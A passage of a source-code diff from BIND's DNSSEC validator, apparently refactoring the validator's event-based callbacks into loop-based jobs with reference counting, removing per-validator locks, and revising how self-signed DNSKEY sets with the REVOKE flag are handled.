+	val->subvalidator = NULL;
+	subvalidator->parent = NULL;
 
 	validator_log(val, ISC_LOG_DEBUG(3), "in validator_callback_dnskey");
-	LOCK(&val->lock);
 	if (CANCELED(val)) {
 		validator_done(val, ISC_R_CANCELED);
 	} else if (eresult == ISC_R_SUCCESS) {
@@ -666,7 +613,8 @@ validator_callback_dnskey(isc_task_t *task, isc_event_t *event) {
 		}
 		result = validate_answer(val, true);
 		if (result == DNS_R_NOVALIDSIG &&
-		    (val->attributes & VALATTR_TRIEDVERIFY) == 0) {
+		    (val->attributes & VALATTR_TRIEDVERIFY) == 0)
+		{
 			saved_result = result;
 			validator_log(val, ISC_LOG_DEBUG(3),
 				      "falling back to insecurity proof");
@@ -688,11 +636,8 @@ validator_callback_dnskey(isc_task_t *task, isc_event_t *event) {
 		validator_done(val, DNS_R_BROKENCHAIN);
 	}
 
-	want_destroy = exit_check(val);
-	UNLOCK(&val->lock);
-	if (want_destroy) {
-		destroy(val);
-	}
+	dns_validator_destroy(&subvalidator);
+	dns_validator_detach(&val);
 }
 
 /*%
@@ -701,38 +646,25 @@ validator_callback_dnskey(isc_task_t *task, isc_event_t *event) {
  * Resumes validation of the zone key or the unsecure zone proof.
  */
 static void
-validator_callback_ds(isc_task_t *task, isc_event_t *event) {
-	dns_validatorevent_t *devent;
-	dns_validator_t *val;
-	bool want_destroy;
+validator_callback_ds(void *arg) {
+	dns_validator_t *subvalidator = (dns_validator_t *)arg;
+	dns_validator_t *val = subvalidator->parent;
 	isc_result_t result;
-	isc_result_t eresult;
-
-	UNUSED(task);
-	INSIST(event->ev_type == DNS_EVENT_VALIDATORDONE);
-
-	devent = (dns_validatorevent_t *)event;
-	val = devent->ev_arg;
-	eresult = devent->result;
+	isc_result_t eresult = subvalidator->result;
 
-	isc_event_free(&event);
-	dns_validator_destroy(&val->subvalidator);
-
-	INSIST(val->event != NULL);
+	val->subvalidator = NULL;
+	subvalidator->parent = NULL;
 
 	validator_log(val, ISC_LOG_DEBUG(3), "in validator_callback_ds");
-	LOCK(&val->lock);
 	if (CANCELED(val)) {
 		validator_done(val, ISC_R_CANCELED);
 	} else if (eresult == ISC_R_SUCCESS) {
 		bool have_dsset;
 		dns_name_t *name;
 		validator_log(val, ISC_LOG_DEBUG(3), "%s with trust %s",
-			      val->frdataset.type == dns_rdatatype_ds ? "dsset"
-								      : "ds "
-									"non-"
-									"existe"
-									"nce",
+			      val->frdataset.type == dns_rdatatype_ds
+				      ? "dsset"
+				      : "ds non-existence",
 			      dns_trust_totext(val->frdataset.trust));
 		have_dsset = (val->frdataset.type == dns_rdatatype_ds);
 		name = dns_fixedname_name(&val->fname);
@@ -761,11 +693,8 @@ validator_callback_ds(isc_task_t *task, isc_event_t *event) {
 		validator_done(val, DNS_R_BROKENCHAIN);
 	}
 
-	want_destroy = exit_check(val);
-	UNLOCK(&val->lock);
-	if (want_destroy) {
-		destroy(val);
-	}
+	dns_validator_destroy(&subvalidator);
+	dns_validator_detach(&val);
 }
 
 /*%
@@ -774,28 +703,17 @@ validator_callback_ds(isc_task_t *task, isc_event_t *event) {
  * Resumes validation of the unsecure zone proof.
  */
 static void
-validator_callback_cname(isc_task_t *task, isc_event_t *event) {
-	dns_validatorevent_t *devent;
-	dns_validator_t *val;
-	bool want_destroy;
+validator_callback_cname(void *arg) {
+	dns_validator_t *subvalidator = (dns_validator_t *)arg;
+	dns_validator_t *val = subvalidator->parent;
 	isc_result_t result;
-	isc_result_t eresult;
-
-	UNUSED(task);
-	INSIST(event->ev_type == DNS_EVENT_VALIDATORDONE);
-
-	devent = (dns_validatorevent_t *)event;
-	val = devent->ev_arg;
-	eresult = devent->result;
+	isc_result_t eresult = subvalidator->result;
 
-	isc_event_free(&event);
-	dns_validator_destroy(&val->subvalidator);
-
-	INSIST(val->event != NULL);
 	INSIST((val->attributes & VALATTR_INSECURITY) != 0);
 
+	val->subvalidator = NULL;
+
 	validator_log(val, ISC_LOG_DEBUG(3), "in validator_callback_cname");
-	LOCK(&val->lock);
 	if (CANCELED(val)) {
 		validator_done(val, ISC_R_CANCELED);
 	} else if (eresult == ISC_R_SUCCESS) {
@@ -815,11 +733,8 @@ validator_callback_cname(isc_task_t *task, isc_event_t *event) {
 		validator_done(val, DNS_R_BROKENCHAIN);
 	}
 
-	want_destroy = exit_check(val);
-	UNLOCK(&val->lock);
-	if (want_destroy) {
-		destroy(val);
-	}
+	dns_validator_destroy(&subvalidator);
+	dns_validator_detach(&val);
 }
 
 /*%
@@ -830,27 +745,16 @@ validator_callback_cname(isc_task_t *task, isc_event_t *event) {
  * Resumes the negative response validation by calling validate_nx().
  */
 static void
-validator_callback_nsec(isc_task_t *task, isc_event_t *event) {
-	dns_validatorevent_t *devent;
-	dns_validator_t *val;
-	dns_rdataset_t *rdataset;
-	bool want_destroy;
-	isc_result_t result;
+validator_callback_nsec(void *arg) {
+	dns_validator_t *subvalidator = (dns_validator_t *)arg;
+	dns_validator_t *val = subvalidator->parent;
+	dns_rdataset_t *rdataset = subvalidator->rdataset;
+	isc_result_t result = subvalidator->result;
 	bool exists, data;
 
-	UNUSED(task);
-	INSIST(event->ev_type == DNS_EVENT_VALIDATORDONE);
-
-	devent = (dns_validatorevent_t *)event;
-	rdataset = devent->rdataset;
-	val = devent->ev_arg;
-	result = devent->result;
-	dns_validator_destroy(&val->subvalidator);
-
-	INSIST(val->event != NULL);
+	val->subvalidator = NULL;
 
 	validator_log(val, ISC_LOG_DEBUG(3), "in validator_callback_nsec");
-	LOCK(&val->lock);
 	if (CANCELED(val)) {
 		validator_done(val, ISC_R_CANCELED);
 	} else if (result != ISC_R_SUCCESS) {
@@ -869,27 +773,27 @@ validator_callback_nsec(isc_task_t *task, isc_event_t *event) {
 			}
 		}
 	} else {
-		dns_name_t **proofs = val->event->proofs;
+		dns_name_t **proofs = val->proofs;
 		dns_name_t *wild = dns_fixedname_name(&val->wild);
 
 		if (rdataset->type == dns_rdatatype_nsec &&
 		    rdataset->trust == dns_trust_secure &&
 		    (NEEDNODATA(val) || NEEDNOQNAME(val)) &&
 		    !FOUNDNODATA(val) && !FOUNDNOQNAME(val) &&
-		    dns_nsec_noexistnodata(val->event->type, val->event->name,
-					   devent->name, rdataset, &exists,
-					   &data, wild, validator_log,
+		    dns_nsec_noexistnodata(val->type, val->name,
+					   subvalidator->name, rdataset,
+					   &exists, &data, wild, validator_log,
 					   val) == ISC_R_SUCCESS)
 		{
 			if (exists && !data) {
 				val->attributes |= VALATTR_FOUNDNODATA;
 				if (NEEDNODATA(val)) {
 					proofs[DNS_VALIDATOR_NODATAPROOF] =
-						devent->name;
+						subvalidator->name;
 				}
 			}
 			if (!exists) {
-				dns_name_t *closest;
+				dns_name_t *closest = NULL;
 				unsigned int clabels;
 
 				val->attributes |= VALATTR_FOUNDNOQNAME;
@@ -904,7 +808,8 @@ validator_callback_nsec(isc_task_t *task, isc_event_t *event) {
 				 * the wildcard used to generate the response.
 				 */
 				if (clabels == 0 ||
-				    dns_name_countlabels(wild) == clabels + 1) {
+				    dns_name_countlabels(wild) == clabels + 1)
+				{
 					val->attributes |= VALATTR_FOUNDCLOSEST;
 				}
 				/*
@@ -913,7 +818,7 @@ validator_callback_nsec(isc_task_t *task, isc_event_t *event) {
 				 */
 				if (NEEDNOQNAME(val)) {
 					proofs[DNS_VALIDATOR_NOQNAMEPROOF] =
-						devent->name;
+						subvalidator->name;
 				}
 			}
 		}
@@ -924,16 +829,8 @@ validator_callback_nsec(isc_task_t *task, isc_event_t *event) {
 		}
 	}
 
-	want_destroy = exit_check(val);
-	UNLOCK(&val->lock);
-	if (want_destroy) {
-		destroy(val);
-	}
-
-	/*
-	 * Free stuff from the event.
-	 */
-	isc_event_free(&event);
+	dns_validator_destroy(&subvalidator);
+	dns_validator_detach(&val);
 }
 
 /*%
@@ -948,21 +845,21 @@ validator_callback_nsec(isc_task_t *task, isc_event_t *event) {
  * \li	DNS_R_NXDOMAIN
  * \li	DNS_R_BROKENCHAIN
  */
-static inline isc_result_t
+static isc_result_t
 view_find(dns_validator_t *val, dns_name_t *name, dns_rdatatype_t type) {
 	dns_fixedname_t fixedname;
 	dns_name_t *foundname;
 	isc_result_t result;
 	unsigned int options;
-	isc_time_t now;
+	isc_time_t now = isc_time_now();
 	char namebuf[DNS_NAME_FORMATSIZE];
 	char typebuf[DNS_RDATATYPE_FORMATSIZE];
 
 	disassociate_rdatasets(val);
 
-	if (isc_time_now(&now) == ISC_R_SUCCESS &&
-	    dns_resolver_getbadcache(val->view->resolver, name, type, &now))
-	{
+	result = dns_resolver_getbadcache(val->view->resolver, name, type,
+					  &now);
+	if (result == ISC_R_SUCCESS) {
 		dns_name_format(name, namebuf, sizeof(namebuf));
 		dns_rdatatype_format(type, typebuf, sizeof(typebuf));
 		validator_log(val, ISC_LOG_INFO, "bad cache hit (%s/%s)",
@@ -998,24 +895,22 @@ view_find(dns_validator_t *val, dns_name_t *name, dns_rdatatype_t type) {
  * Checks to make sure we are not going to loop.  As we use a SHARED fetch
  * the validation process will stall if looping was to occur.
  */
-static inline bool
+static bool
 check_deadlock(dns_validator_t *val, dns_name_t *name, dns_rdatatype_t type,
 	       dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset) {
 	dns_validator_t *parent;
 
 	for (parent = val; parent != NULL; parent = parent->parent) {
-		if (parent->event != NULL && parent->event->type == type &&
-		    dns_name_equal(parent->event->name, name) &&
+		if (parent->type == type &&
+		    dns_name_equal(parent->name, name) &&
 		    /*
 		     * As NSEC3 records are meta data you sometimes
 		     * need to prove a NSEC3 record which says that
 		     * itself doesn't exist.
 		     */
-		    (parent->event->type != dns_rdatatype_nsec3 ||
-		     rdataset == NULL || sigrdataset == NULL ||
-		     parent->event->message == NULL ||
-		     parent->event->rdataset != NULL ||
-		     parent->event->sigrdataset != NULL))
+		    (parent->type != dns_rdatatype_nsec3 || rdataset == NULL ||
+		     sigrdataset == NULL || parent->message == NULL ||
+		     parent->rdataset != NULL || parent->sigrdataset != NULL))
 		{
 			validator_log(val, ISC_LOG_DEBUG(3),
 				      "continuing validation would lead to "
@@ -1029,10 +924,11 @@ check_deadlock(dns_validator_t *val, dns_name_t *name, dns_rdatatype_t type,
 /*%
  * Start a fetch for the requested name and type.
  */
-static inline isc_result_t
+static isc_result_t
 create_fetch(dns_validator_t *val, dns_name_t *name, dns_rdatatype_t type,
-	     isc_taskaction_t callback, const char *caller) {
+	     isc_job_cb callback, const char *caller) {
 	unsigned int fopts = 0;
+	isc_result_t result;
 
 	disassociate_rdatasets(val);
 
@@ -1051,19 +947,27 @@ create_fetch(dns_validator_t *val, dns_name_t *name, dns_rdatatype_t type,
 	}
 
 	validator_logcreate(val, name, type, caller, "fetch");
-	return (dns_resolver_createfetch(
+
+	dns_validator_ref(val);
+
+	result = dns_resolver_createfetch(
 		val->view->resolver, name, type, NULL, NULL, NULL, NULL, 0,
-		fopts, 0, NULL, val->event->ev_sender, callback, val,
-		&val->frdataset, &val->fsigrdataset, &val->fetch));
+		fopts, 0, NULL, val->loop, callback, val, &val->frdataset,
+		&val->fsigrdataset, &val->fetch);
+	if (result != ISC_R_SUCCESS) {
+		dns_validator_detach(&val);
+	}
+
+	return (result);
 }
 
 /*%
  * Start a subvalidation process.
  */
-static inline isc_result_t
+static isc_result_t
 create_validator(dns_validator_t *val, dns_name_t *name, dns_rdatatype_t type,
 		 dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset,
-		 isc_taskaction_t action, const char *caller) {
+		 isc_job_cb cb, const char *caller) {
 	isc_result_t result;
 	unsigned int vopts = 0;
 	dns_rdataset_t *sig = NULL;
@@ -1084,10 +988,10 @@ create_validator(dns_validator_t *val, dns_name_t *name, dns_rdatatype_t type,
 
 	validator_logcreate(val, name, type, caller, "validator");
 	result = dns_validator_create(val->view, name, type, rdataset, sig,
-				      NULL, vopts, val->task, action, val,
+				      NULL, vopts, val->loop, cb, val,
 				      &val->subvalidator);
 	if (result == ISC_R_SUCCESS) {
-		val->subvalidator->parent = val;
+		dns_validator_attach(val, &val->subvalidator->parent);
 		val->subvalidator->depth = val->depth + 1;
 	}
 	return (result);
@@ -1185,10 +1089,11 @@ seek_dnskey(dns_validator_t *val) {
 	 * The signer name must be at the same level as the owner name
 	 * or closer to the DNS root.
 	 */
-	namereln = dns_name_fullcompare(val->event->name, &siginfo->signer,
-					&order, &nlabels);
+	namereln = dns_name_fullcompare(val->name, &siginfo->signer, &order,
+					&nlabels);
 	if (namereln != dns_namereln_subdomain &&
-	    namereln != dns_namereln_equal) {
+	    namereln != dns_namereln_equal)
+	{
 		return (DNS_R_CONTINUE);
 	}
 
@@ -1197,7 +1102,7 @@ seek_dnskey(dns_validator_t *val) {
 		 * If this is a self-signed keyset, it must not be a zone key
 		 * (since seek_dnskey is not called from validate_dnskey).
 		 */
-		if (val->event->rdataset->type == dns_rdatatype_dnskey) {
+		if (val->rdataset->type == dns_rdatatype_dnskey) {
 			return (DNS_R_CONTINUE);
 		}
 
@@ -1205,7 +1110,7 @@ seek_dnskey(dns_validator_t *val) {
 		 * Records appearing in the parent zone at delegation
 		 * points cannot be self-signed.
 		 */
-		if (dns_rdatatype_atparent(val->event->rdataset->type)) {
+		if (dns_rdatatype_atparent(val->rdataset->type)) {
 			return (DNS_R_CONTINUE);
 		}
 	} else {
@@ -1213,12 +1118,12 @@ seek_dnskey(dns_validator_t *val) {
 		 * SOA and NS RRsets can only be signed by a key with
 		 * the same name.
 		 */
-		if (val->event->rdataset->type == dns_rdatatype_soa ||
-		    val->event->rdataset->type == dns_rdatatype_ns)
+		if (val->rdataset->type == dns_rdatatype_soa ||
+		    val->rdataset->type == dns_rdatatype_ns)
 		{
 			const char *type;
 
-			if (val->event->rdataset->type == dns_rdatatype_soa) {
+			if (val->rdataset->type == dns_rdatatype_soa) {
 				type = "SOA";
 			} else {
 				type = "NS";
@@ -1342,13 +1247,13 @@ compute_keytag(dns_rdata_t *rdata) {
 }
 
 /*%
- * Is the DNSKEY rrset in val->event->rdataset self-signed?
+ * Is the DNSKEY rrset in val->rdataset self-signed?
  */
 static bool
 selfsigned_dnskey(dns_validator_t *val) {
-	dns_rdataset_t *rdataset = val->event->rdataset;
-	dns_rdataset_t *sigrdataset = val->event->sigrdataset;
-	dns_name_t *name = val->event->name;
+	dns_rdataset_t *rdataset = val->rdataset;
+	dns_rdataset_t *sigrdataset = val->sigrdataset;
+	dns_name_t *name = val->name;
 	isc_result_t result;
 	isc_mem_t *mctx = val->view->mctx;
 	bool answer = false;
@@ -1390,26 +1295,50 @@ selfsigned_dnskey(dns_validator_t *val) {
 				continue;
 			}
 
-			result = dns_dnssec_keyfromrdata(name, &keyrdata, mctx,
-							 &dstkey);
-			if (result != ISC_R_SUCCESS) {
+			/*
+			 * If the REVOKE bit is not set we have a
+			 * theoretically self signed DNSKEY RRset.
+			 * This will be verified later.
+			 */
+			if ((key.flags & DNS_KEYFLAG_REVOKE) == 0) {
+				answer = true;
 				continue;
 			}
 
-			result = dns_dnssec_verify(name, rdataset, dstkey, true,
-						   val->view->maxbits, mctx,
-						   &sigrdata, NULL);
-			dst_key_free(&dstkey);
+			result = dns_dnssec_keyfromrdata(name, &keyrdata, mctx,
+							 &dstkey);
 			if (result != ISC_R_SUCCESS) {
 				continue;
 			}
 
-			if ((key.flags & DNS_KEYFLAG_REVOKE) == 0) {
-				answer = true;
-				continue;
+			/*
+			 * If this RRset is pending and it is trusted,
+			 * see if it was self signed by this DNSKEY.
+			 */
+			if (DNS_TRUST_PENDING(rdataset->trust) &&
+			    dns_view_istrusted(val->view, name, &key))
+			{
+				result = dns_dnssec_verify(
+					name, rdataset, dstkey, true,
+					val->view->maxbits, mctx, &sigrdata,
+					NULL);
+				if (result == ISC_R_SUCCESS) {
+					/*
+					 * The key with the REVOKE flag has
+					 * self signed the RRset so it is no
+					 * good.
+					 */
+					dns_view_untrust(val->view, name, &key);
+				}
+			} else if (rdataset->trust >= dns_trust_secure) {
+				/*
+				 * We trust this RRset so if the key is
+				 * marked revoked remove it.
+				 */
+				dns_view_untrust(val->view, name, &key);
 			}
 
-			dns_view_untrust(val->view, name, &key);
+			dst_key_free(&dstkey);
 		}
 	}
 
@@ -1436,9 +1365,9 @@ verify(dns_validator_t *val, dst_key_t *key, dns_rdata_t *rdata,
 	val->attributes |= VALATTR_TRIEDVERIFY;
 	wild = dns_fixedname_initname(&fixed);
 again:
-	result = dns_dnssec_verify(val->event->name, val->event->rdataset, key,
-				   ignore, val->view->maxbits, val->view->mctx,
-				   rdata, wild);
+	result = dns_dnssec_verify(val->name, val->rdataset, key, ignore,
+				   val->view->maxbits, val->view->mctx, rdata,
+				   wild);
 	if ((result == DNS_R_SIGEXPIRED || result == DNS_R_SIGFUTURE) &&
 	    val->view->acceptexpired)
 	{
@@ -1463,7 +1392,7 @@ verify(dns_validator_t *val, dst_key_t *key, dns_rdata_t *rdata,
 			      isc_result_totext(result));
 	}
 	if (result == DNS_R_FROMWILDCARD) {
-		if (!dns_name_equal(val->event->name, wild)) {
+		if (!dns_name_equal(val->name, wild)) {
 			dns_name_t *closest;
 			unsigned int labels;
 
@@ -1494,15 +1423,12 @@ verify(dns_validator_t *val, dst_key_t *key, dns_rdata_t *rdata,
 static isc_result_t
 validate_answer(dns_validator_t *val, bool resume) {
 	isc_result_t result, vresult = DNS_R_NOVALIDSIG;
-	dns_validatorevent_t *event;
 	dns_rdata_t rdata = DNS_RDATA_INIT;
 
 	/*
 	 * Caller must be holding the validator lock.
 	 */
 
-	event = val->event;
-
 	if (resume) {
 		/*
 		 * We already have a sigrdataset.
@@ -1510,13 +1436,14 @@ validate_answer(dns_validator_t *val, bool resume) {
 		result = ISC_R_SUCCESS;
 		validator_log(val, ISC_LOG_DEBUG(3), "resuming validate");
 	} else {
-		result = dns_rdataset_first(event->sigrdataset);
+		result = dns_rdataset_first(val->sigrdataset);
 	}
 
 	for (; result == ISC_R_SUCCESS;
-	     result = dns_rdataset_next(event->sigrdataset)) {
+	     result = dns_rdataset_next(val->sigrdataset))
+	{
 		dns_rdata_reset(&rdata);
-		dns_rdataset_current(event->sigrdataset, &rdata);
+		dns_rdataset_current(val->sigrdataset, &rdata);
 		if (val->siginfo == NULL) {
 			val->siginfo = isc_mem_get(val->view->mctx,
 						   sizeof(*val->siginfo));
@@ -1531,7 +1458,7 @@ validate_answer(dns_validator_t *val, bool resume) {
 		 * was known and "sufficiently good".
 		 */
 		if (!dns_resolver_algorithm_supported(val->view->resolver,
-						      event->name,
+						      val->name,
 						      val->siginfo->algorithm))
 		{
 			resume = false;
@@ -1574,9 +1501,8 @@ validate_answer(dns_validator_t *val, bool resume) {
 			validator_log(val, ISC_LOG_DEBUG(3),
 				      "failed to verify rdataset");
 		} else {
-			dns_rdataset_trimttl(event->rdataset,
-					     event->sigrdataset, val->siginfo,
-					     val->start,
+			dns_rdataset_trimttl(val->rdataset, val->sigrdataset,
+					     val->siginfo, val->start,
 					     val->view->acceptexpired);
 		}
 
@@ -1589,7 +1515,7 @@ validate_answer(dns_validator_t *val, bool resume) {
 		}
 		val->key = NULL;
 		if (NEEDNOQNAME(val)) {
-			if (val->event->message == NULL) {
+			if (val->message == NULL) {
 				validator_log(val, ISC_LOG_DEBUG(3),
 					      "no message available "
 					      "for noqname proof");
@@ -1599,7 +1525,7 @@ validate_answer(dns_validator_t *val, bool resume) {
 				      "looking for noqname proof");
 			return (validate_nx(val, false));
 		} else if (vresult == ISC_R_SUCCESS) {
-			marksecure(event);
+			marksecure(val);
 			validator_log(val, ISC_LOG_DEBUG(3),
 				      "marking as secure, "
 				      "noqname proof not needed");
@@ -1624,7 +1550,7 @@ validate_answer(dns_validator_t *val, bool resume) {
 
 /*%
  * Check whether this DNSKEY (keyrdata) signed the DNSKEY RRset
- * (val->event->rdataset).
+ * (val->rdataset).
  */
 static isc_result_t
 check_signer(dns_validator_t *val, dns_rdata_t *keyrdata, uint16_t keyid,
@@ -1633,13 +1559,13 @@ check_signer(dns_validator_t *val, dns_rdata_t *keyrdata, uint16_t keyid,
 	dst_key_t *dstkey = NULL;
 	isc_result_t result;
 
-	for (result = dns_rdataset_first(val->event->sigrdataset);
+	for (result = dns_rdataset_first(val->sigrdataset);
 	     result == ISC_R_SUCCESS;
-	     result = dns_rdataset_next(val->event->sigrdataset))
+	     result = dns_rdataset_next(val->sigrdataset))
 	{
 		dns_rdata_t rdata = DNS_RDATA_INIT;
 
-		dns_rdataset_current(val->event->sigrdataset, &rdata);
+		dns_rdataset_current(val->sigrdataset, &rdata);
 		result = dns_rdata_tostruct(&rdata, &sig, NULL);
 		RUNTIME_CHECK(result == ISC_R_SUCCESS);
 		if (keyid != sig.keyid || algorithm != sig.algorithm) {
@@ -1647,8 +1573,7 @@ check_signer(dns_validator_t *val, dns_rdata_t *keyrdata, uint16_t keyid,
 		}
 		if (dstkey == NULL) {
 			result = dns_dnssec_keyfromrdata(
-				val->event->name, keyrdata, val->view->mctx,
-				&dstkey);
+				val->name, keyrdata, val->view->mctx, &dstkey);
 			if (result != ISC_R_SUCCESS) {
 				/*
 				 * This really shouldn't happen, but...
@@ -1785,13 +1710,12 @@ validate_dnskey(dns_validator_t *val) {
 	 * a DS style trust anchor configured for this key.
 	 */
 	if (val->dsset == NULL) {
-		result = dns_keytable_find(val->keytable, val->event->name,
-					   &keynode);
+		result = dns_keytable_find(val->keytable, val->name, &keynode);
 		if (result == ISC_R_SUCCESS) {
 			if (dns_keynode_dsset(keynode, &val->fdsset)) {
 				val->dsset = &val->fdsset;
 			}
-			dns_keytable_detachkeynode(val->keytable, &keynode);
+			dns_keynode_detach(&keynode);
 		}
 	}
 
@@ -1805,7 +1729,7 @@ validate_dnskey(dns_validator_t *val) {
 		 * If this is the root name and there was no trust anchor,
 		 * we can give up now, since there's no DS at the root.
 		 */
-		if (dns_name_equal(val->event->name, dns_rootname)) {
+		if (dns_name_equal(val->name, dns_rootname)) {
 			if ((val->attributes & VALATTR_TRIEDVERIFY) != 0) {
 				validator_log(val, ISC_LOG_DEBUG(3),
 					      "root key failed to validate");
@@ -1820,7 +1744,7 @@ validate_dnskey(dns_validator_t *val) {
 		/*
 		 * Look up the DS RRset for this name.
 		 */
-		result = get_dsset(val, val->event->name, &tresult);
+		result = get_dsset(val, val->name, &tresult);
 		if (result == ISC_R_COMPLETE) {
 			result = tresult;
 			goto cleanup;
@@ -1860,16 +1784,14 @@ validate_dnskey(dns_validator_t *val) {
 		result = dns_rdata_tostruct(&dsrdata, &ds, NULL);
 		RUNTIME_CHECK(result == ISC_R_SUCCESS);
 
-		if (!dns_resolver_ds_digest_supported(val->view->resolver,
-						      val->event->name,
-						      ds.digest_type))
+		if (!dns_resolver_ds_digest_supported(
+			    val->view->resolver, val->name, ds.digest_type))
 		{
 			continue;
 		}
 
 		if (!dns_resolver_algorithm_supported(val->view->resolver,
-						      val->event->name,
-						      ds.algorithm))
+						      val->name, ds.algorithm))
 		{
 			continue;
 		}
@@ -1896,16 +1818,14 @@ validate_dnskey(dns_validator_t *val) {
 			continue;
 		}
 
-		if (!dns_resolver_ds_digest_supported(val->view->resolver,
-						      val->event->name,
-						      ds.digest_type))
+		if (!dns_resolver_ds_digest_supported(
+			    val->view->resolver, val->name, ds.digest_type))
 		{
 			continue;
 		}
 
 		if (!dns_resolver_algorithm_supported(val->view->resolver,
-						      val->event->name,
-						      ds.algorithm))
+						      val->name, ds.algorithm))
 		{
 			continue;
 		}
@@ -1915,8 +1835,8 @@ validate_dnskey(dns_validator_t *val) {
 		/*
 		 * Find the DNSKEY matching the DS...
 		 */
-		result = dns_dnssec_matchdskey(val->event->name, &dsrdata,
-					       val->event->rdataset, &keyrdata);
+		result = dns_dnssec_matchdskey(val->name, &dsrdata,
+					       val->rdataset, &keyrdata);
 		if (result != ISC_R_SUCCESS) {
 			validator_log(val, ISC_LOG_DEBUG(3),
 				      "no DNSKEY matching DS");
@@ -1935,7 +1855,7 @@ validate_dnskey(dns_validator_t *val) {
 	}
 
 	if (result == ISC_R_SUCCESS) {
-		marksecure(val->event);
+		marksecure(val);
 		validator_log(val, ISC_LOG_DEBUG(3), "marking as secure (DS)");
 	} else if (result == ISC_R_NOMORE && !supported_algorithm) {
 		validator_log(val, ISC_LOG_DEBUG(3),
@@ -1965,7 +1885,7 @@ validate_dnskey(dns_validator_t *val) {
 static isc_result_t
 val_rdataset_first(dns_validator_t *val, dns_name_t **namep,
 		   dns_rdataset_t **rdatasetp) {
-	dns_message_t *message = val->event->message;
+	dns_message_t *message = val->message;
 	isc_result_t result;
 
 	REQUIRE(rdatasetp != NULL);
@@ -1987,10 +1907,9 @@ val_rdataset_first(dns_validator_t *val, dns_name_t **namep,
 		*rdatasetp = ISC_LIST_HEAD((*namep)->list);
 		INSIST(*rdatasetp != NULL);
 	} else {
-		result = dns_rdataset_first(val->event->rdataset);
+		result = dns_rdataset_first(val->rdataset);
 		if (result == ISC_R_SUCCESS) {
-			dns_ncache_current(val->event->rdataset, *namep,
-					   *rdatasetp);
+			dns_ncache_current(val->rdataset, *namep, *rdatasetp);
 		}
 	}
 	return (result);
@@ -1999,7 +1918,7 @@ val_rdataset_first(dns_validator_t *val, dns_name_t **namep,
 static isc_result_t
 val_rdataset_next(dns_validator_t *val, dns_name_t **namep,
 		  dns_rdataset_t **rdatasetp) {
-	dns_message_t *message = val->event->message;
+	dns_message_t *message = val->message;
 	isc_result_t result = ISC_R_SUCCESS;
 
 	REQUIRE(rdatasetp != NULL && *rdatasetp != NULL);
@@ -2022,10 +1941,9 @@ val_rdataset_next(dns_validator_t *val, dns_name_t **namep,
 		*rdatasetp = rdataset;
 	} else {
 		dns_rdataset_disassociate(*rdatasetp);
-		result = dns_rdataset_next(val->event->rdataset);
+		result = dns_rdataset_next(val->rdataset);
 		if (result == ISC_R_SUCCESS) {
-			dns_ncache_current(val->event->rdataset, *namep,
-					   *rdatasetp);
+			dns_ncache_current(val->rdataset, *namep, *rdatasetp);
 		}
 	}
 	return (result);
@@ -2061,7 +1979,7 @@ checkwildcard(dns_validator_t *val, dns_rdatatype_t type,
 	dns_name_format(wild, namebuf, sizeof(namebuf));
 	validator_log(val, ISC_LOG_DEBUG(3), "in checkwildcard: %s", namebuf);
 
-	if (val->event->message == NULL) {
+	if (val->message == NULL) {
 		name = &tname;
 		rdataset = &trdataset;
 	} else {
@@ -2074,18 +1992,19 @@ checkwildcard(dns_validator_t *val, dns_rdatatype_t type,
 	     result = val_rdataset_next(val, &name, &rdataset))
 	{
 		if (rdataset->type != type ||
-		    rdataset->trust != dns_trust_secure) {
+		    rdataset->trust != dns_trust_secure)
+		{
 			continue;
 		}
 
 		if (rdataset->type == dns_rdatatype_nsec &&
 		    (NEEDNODATA(val) || NEEDNOWILDCARD(val)) &&
 		    !FOUNDNODATA(val) && !FOUNDNOWILDCARD(val) &&
-		    dns_nsec_noexistnodata(val->event->type, wild, name,
-					   rdataset, &exists, &data, NULL,
-					   validator_log, val) == ISC_R_SUCCESS)
+		    dns_nsec_noexistnodata(val->type, wild, name, rdataset,
+					   &exists, &data, NULL, validator_log,
+					   val) == ISC_R_SUCCESS)
 		{
-			dns_name_t **proofs = val->event->proofs;
+			dns_name_t **proofs = val->proofs;
 			if (exists && !data) {
 				val->attributes |= VALATTR_FOUNDNODATA;
 			}
@@ -2108,11 +2027,11 @@ checkwildcard(dns_validator_t *val, dns_rdatatype_t type,
 		    (NEEDNODATA(val) || NEEDNOWILDCARD(val)) &&
 		    !FOUNDNODATA(val) && !FOUNDNOWILDCARD(val) &&
 		    dns_nsec3_noexistnodata(
-			    val->event->type, wild, name, rdataset, zonename,
-			    &exists, &data, NULL, NULL, NULL, NULL, NULL, NULL,
+			    val->type, wild, name, rdataset, zonename, &exists,
+			    &data, NULL, NULL, NULL, NULL, NULL, NULL,
 			    validator_log, val) == ISC_R_SUCCESS)
 		{
-			dns_name_t **proofs = val->event->proofs;
+			dns_name_t **proofs = val->proofs;
 			if (exists && !data) {
 				val->attributes |= VALATTR_FOUNDNODATA;
 			}
@@ -2153,7 +2072,7 @@ findnsec3proofs(dns_validator_t *val) {
 	bool setclosest, setnearest, *setclosestp;
 	dns_fixedname_t fclosest, fnearest, fzonename;
 	dns_name_t *closest, *nearest, *zonename, *closestp;
-	dns_name_t **proofs = val->event->proofs;
+	dns_name_t **proofs = val->proofs;
 	dns_rdataset_t *rdataset, trdataset;
 
 	dns_name_init(&tname, NULL);
@@ -2162,7 +2081,7 @@ findnsec3proofs(dns_validator_t *val) {
 	nearest = dns_fixedname_initname(&fnearest);
 	zonename = dns_fixedname_initname(&fzonename);
 
-	if (val->event->message == NULL) {
+	if (val->message == NULL) {
 		name = &tname;
 		rdataset = &trdataset;
 	} else {
@@ -2180,10 +2099,10 @@ findnsec3proofs(dns_validator_t *val) {
 			continue;
 		}
 
-		result = dns_nsec3_noexistnodata(
-			val->event->type, val->event->name, name, rdataset,
-			zonename, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
-			NULL, validator_log, val);
+		result = dns_nsec3_noexistnodata(val->type, val->name, name,
+						 rdataset, zonename, NULL, NULL,
+						 NULL, NULL, NULL, NULL, NULL,
+						 NULL, validator_log, val);
 		if (result != ISC_R_IGNORE && result != ISC_R_SUCCESS) {
 			if (dns_rdataset_isassociated(&trdataset)) {
 				dns_rdataset_disassociate(&trdataset);
@@ -2238,10 +2157,9 @@ findnsec3proofs(dns_validator_t *val) {
 		optout = false;
 		unknown = false;
 		result = dns_nsec3_noexistnodata(
-			val->event->type, val->event->name, name, rdataset,
-			zonename, &exists, &data, &optout, &unknown,
-			setclosestp, &setnearest, closestp, nearest,
-			validator_log, val);
